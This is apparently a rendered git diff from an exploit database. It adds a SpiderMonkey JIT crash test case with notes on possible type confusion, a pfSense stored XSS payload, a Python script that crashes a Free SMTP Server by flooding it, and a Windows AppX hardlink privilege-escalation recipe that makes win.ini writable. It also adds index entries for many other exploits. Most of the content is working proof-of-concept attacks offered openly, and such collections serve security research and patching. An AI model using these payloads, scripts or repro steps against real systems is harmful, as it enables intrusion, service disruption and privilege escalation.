// (ObjectGroup of v22 and v17). Depending on the input, the dispatch will
|
||||
// jump to one of the two inlined implementations of toString. However,
|
||||
// after v22 is allocated as UnboxedObject (still with the same
|
||||
// ObjectGroup as before), the delete operation above will convert it back
|
||||
// to a NativeObject, now changing the ObjectGroup. Afterwards, this
|
||||
// ObjectGroupDispatch operation will see an unexpected ObjectGroup and,
|
||||
// in debug builds, crash with an assertion failure. In release builds
|
||||
// it will just fallthrough to whichever branch was emitted right after
|
||||
// the dispatch operation.
|
||||
return v5.toString();
|
||||
}
|
||||
|
||||
function v11() {
|
||||
const v22 = {p: 1337};
|
||||
v4(v22);
|
||||
|
||||
let v26 = 0;
|
||||
do {
|
||||
const v17 = new O1;
|
||||
v4(v17);
|
||||
v26++;
|
||||
} while (v26 < 100);
|
||||
}
|
||||
for (let v33 = 0; v33 < 100; v33++) {
|
||||
const v37 = v11();
|
||||
}
|
||||
|
||||
The program will crash with an assertion similar to:
|
||||
|
||||
> ../build_DBG.OBJ/dist/bin/js crash.js
|
||||
Assertion failure: Unexpected ObjectGroup, at js/src/jit/MacroAssembler.cpp:2014
|
||||
[1] 54116 trace trap ../build_DBG.OBJ/dist/bin/js crash.js
|
||||
|
||||
It appears that roughly the following is happening here:
|
||||
|
||||
* Initially, the objects v22 and v17 will be allocated as native objects with two different ObjectGroups (an ObjectGroup [1] stores type information such as the prototype object and property/method types for an object): OG1 and OG2.
|
||||
* Function v4 will be called repeatedly with objects of both ObjectGroups and will eventually be JIT compiled by IonMonkey. At that point, it will be compiled to expect an object with ObjectGroup OG1 or OG2 based on type feedback from the interpreter/baseline JIT and will be deoptimized if it is ever called with an object of a different group.
|
||||
* The call to .toString in v4 will be optimized by inlining [2] the two possible implementations (O1.prototype.toString and Object.prototype.toString) and then performing a switch on the ObjectGroup of the input to determine which implementation to jump to. The switch is implemented by the ObjectGroupDispatch operation. Since both input ObjectGroups are covered, the instruction does not have a default (fallback) path [3].
|
||||
* At a later point, the allocation site of v22 is modified to create an object with unboxed layout [4] which will store its properties inline in an unboxed form but still use ObjectGroup OG1.
|
||||
* Afterwards, in the JIT code for v4, the delete operation converts the UnboxedObject back to a NativeObject [5], this time changing the ObjectGroup to a new group OG3 [6].
|
||||
* Finally, when executing the machine code for the ObjectGroupDispatch operation, the new ObjectGroup matches none of the expected ones. At this point the program will crash with an assertion in debug builds. In release builds, it would now simply fall through to whichever one of the inlined implementations was directly following the ObjectGroupDispatch operation.
|
||||
|
||||
At least this way of triggering the bug is related to UnboxedObjects, which have recently been disabled by default: https://github.com/mozilla/gecko-dev/commit/26965039e60a00b3600ce2e6a559106e4a3a30ca However, I am not sure if the conversion from unboxed to native objects due to the property deletion is the only reason that an object's ObjectGroup can change unexpectedly (in this situation).
|
||||
|
||||
As for exploitation, it might be possible to cause a type confusion by causing a fallthrough to the inlined code for the other ObjectGroup. In that case, the inlined code would expect to receive an object of a specific ObjectGroup and might omit further security checks based on that. For this specific sample it seems that the fallthrough path always happens to be the correct one (i.e. the one for Object.prototype.toString), but I assume it could also be the other way around in a different context. Furthermore, it might be possible to cause other code constructs (apart form the ObjectGroupDispatch) that rely on ObjectGroup information to misbehave in this situation.
|
||||
|
||||
|
||||
[1] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/ObjectGroup.h#L87
|
||||
[2] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonBuilder.cpp#L4517
|
||||
[3] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonBuilder.cpp#L4923
|
||||
[4] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L1416
|
||||
[5] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L1150
|
||||
[6] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L756
|
||||
21
exploits/php/webapps/46936.txt
Normal file
21
exploits/php/webapps/46936.txt
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
# Exploit Title: pfSense 2.4.4-p3 (ACMEPackage 0.5.7_1) - Stored Cross-Site Scripting
|
||||
# Date: 05.28.2019
|
||||
# Exploit Author: Chi Tran
|
||||
# Vendor Homepage: https://www.pfsense.org
|
||||
# Version: 2.4.4-p3/0.5.7_1
|
||||
# Software Link: N/A
|
||||
# Google Dork: N/A
|
||||
# CVE:2019-12347
|
||||
|
||||
##################################################################################################################################
|
||||
Introduction pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface.
|
||||
In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution.
|
||||
|
||||
The ACME Package for pfSense interfaces with Let’s Encrypt to handle the certificate generation, validation, and renewal processes. (https://docs.netgate.com/pfsense/en/latest/certificates/acme-package.html)
|
||||
#################################################################################
|
||||
|
||||
Proof of Concepts:
|
||||
|
||||
1 - Navigate to https://192.168.1.1/acme/acme_accountkeys_edit.php
|
||||
2 - In the "Name" and "Description" field, input payload: "><svg/onload=alert(1)>
|
||||
3 - XSS box will then pop-up
|
||||
24
exploits/windows/dos/46937.py
Executable file
24
exploits/windows/dos/46937.py
Executable file
|
|
@ -0,0 +1,24 @@
|
|||
#Exploit Title: Free SMTP Server - Local Denial of Service Crash (PoC)
|
||||
# Date: February 3, 2009
|
||||
# Exploit Author: Metin Kandemir (kandemir)
|
||||
# Vendor Homepage: http://www.softstack.com/freesmtp.html
|
||||
# Software Link: https://free-smtp-server.en.uptodown.com/windows/download
|
||||
# Version: 2.5
|
||||
# Tested on: Windows 7 Service Pack 1 x64
|
||||
# Software Description : Free SMTP server program to send emails directly from PC.
|
||||
# ==================================================================
|
||||
# The SMTP Server will crash when this code is run on localhost.
|
||||
|
||||
import socket
|
||||
|
||||
a=1
|
||||
buffer = ["A"]
|
||||
while a <= 20000:
|
||||
a = a+1
|
||||
buffer.append("A"*a)
|
||||
|
||||
|
||||
for string in buffer:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
connect = s.connect(('127.0.0.1',25))
|
||||
s.send(string)
|
||||
28
exploits/windows/local/46938.txt
Normal file
28
exploits/windows/local/46938.txt
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
There is still a vuln in the code triggered by CVE-2019-0841
|
||||
|
||||
The bug that this guy found: https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/
|
||||
|
||||
If you create the following:
|
||||
|
||||
(GetFavDirectory() gets the local appdata folder, fyi)
|
||||
|
||||
CreateDirectory(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe",NULL);
|
||||
CreateNativeHardlink(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe\\bear3.txt", L"C:\\Windows\\win.ini");
|
||||
|
||||
If we create that directory and put an hardlink in it, it will write the DACL.
|
||||
|
||||
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe this part (i.e 44.17763.1.0) has to reflect the currently installed edge version, you will need to mofidy this in the PoC (polarbear.exe) if different.
|
||||
You can find this by opening edge -> settings and scrolling down.
|
||||
Best thing is to just create a folder and hardlink for all the recent edge versions when writing an exploit. But I guess you can also probably get the installed version programmatically.
|
||||
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
|
||||
|
||||
To repro:
|
||||
|
||||
1. Run polarbear.exe
|
||||
2. Run windowsappslpe.exe (doesn't matter what file you pass in commandline.. will just make win.ini write-able.. rewrite the original PoC yourself)
|
||||
|
||||
Use the vide demo as guidance..
|
||||
|
||||
EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46938.zip
|
||||
|
|
@ -6468,6 +6468,10 @@ id,file,description,date,author,type,platform,port
|
|||
46927,exploits/windows/dos/46927.py,"Cyberoam General Authentication Client 2.1.2.7 - 'Server Address' Denial of Service (PoC)",2019-05-24,"Victor Mondragón",dos,windows,
|
||||
46929,exploits/windows/dos/46929.py,"Fast AVI MPEG Joiner - 'License Name' Denial of Service (PoC)",2019-05-24,Achilles,dos,windows,
|
||||
46930,exploits/windows/dos/46930.py,"Pidgin 2.13.0 - Denial of Service (PoC)",2019-05-27,"Alejandra Sánchez",dos,windows,
|
||||
46937,exploits/windows/dos/46937.py,"Free SMTP Server 2.5 - Denial of Service (PoC)",2019-05-29,"Metin Yunus Kandemir",dos,windows,
|
||||
46939,exploits/multiple/dos/46939.txt,"Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script",2019-05-29,"Google Security Research",dos,multiple,
|
||||
46940,exploits/multiple/dos/46940.txt,"Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation",2019-05-29,"Google Security Research",dos,multiple,
|
||||
46941,exploits/android/dos/46941.txt,"Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL",2019-05-29,"Google Security Research",dos,android,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -10530,6 +10534,7 @@ id,file,description,date,author,type,platform,port
|
|||
46920,exploits/windows/local/46920.txt,"Microsoft Windows - 'Win32k' Local Privilege Escalation",2019-05-15,Arch-Vile,local,windows,
|
||||
46922,exploits/windows/local/46922.py,"Axessh 4.2 - 'Log file name' Local Stack-based Buffer Overflow",2019-05-24,"Uday Mittal",local,windows,
|
||||
46933,exploits/android/local/46933.txt,"EquityPandit 1.0 - Password Disclosure",2019-05-28,ManhNho,local,android,
|
||||
46938,exploits/windows/local/46938.txt,"Microsoft Windows - AppX Deployment Service Local Privilege Escalation (2)",2019-05-23,SandboxEscaper,local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -17469,6 +17474,7 @@ id,file,description,date,author,type,platform,port
|
|||
46928,exploits/windows/remote/46928.html,"Microsoft Internet Explorer Windows 10 1809 17763.316 - Scripting Engine Memory Corruption",2019-05-24,"Simon Zuckerbraun",remote,windows,
|
||||
46932,exploits/macos/remote/46932.txt,"Typora 0.9.9.24.6 - Directory Traversal",2019-05-27,"Dhiraj Mishra",remote,macos,
|
||||
46934,exploits/windows/remote/46934.txt,"Petraware pTransformer ADC < 2.1.7.22827 - Login Bypass",2019-05-28,"Faudhzan Rahman",remote,windows,
|
||||
46942,exploits/java/remote/46942.rb,"Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit)",2019-05-29,Metasploit,remote,java,
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
|
@ -41355,3 +41361,4 @@ id,file,description,date,author,type,platform,port
|
|||
46921,exploits/php/webapps/46921.sh,"Opencart 3.0.3.2 - 'extension/feed/google_base' Denial of Service PoC",2019-05-24,"Todor Donev",webapps,php,
|
||||
46931,exploits/multiple/webapps/46931.txt,"Deltek Maconomy 2.2.5 - Local File Inclusion",2019-05-27,JameelNabbo,webapps,multiple,
|
||||
46935,exploits/multiple/webapps/46935.txt,"Phraseanet < 4.0.7 - Cross-Site Scripting",2019-05-28,"Krzysztof Szulski",webapps,multiple,
|
||||
46936,exploits/php/webapps/46936.txt,"pfSense 2.4.4-p3 (ACME Package 0.59_14) - Persistent Cross-Site Scripting",2019-05-29,"Chi Tran",webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue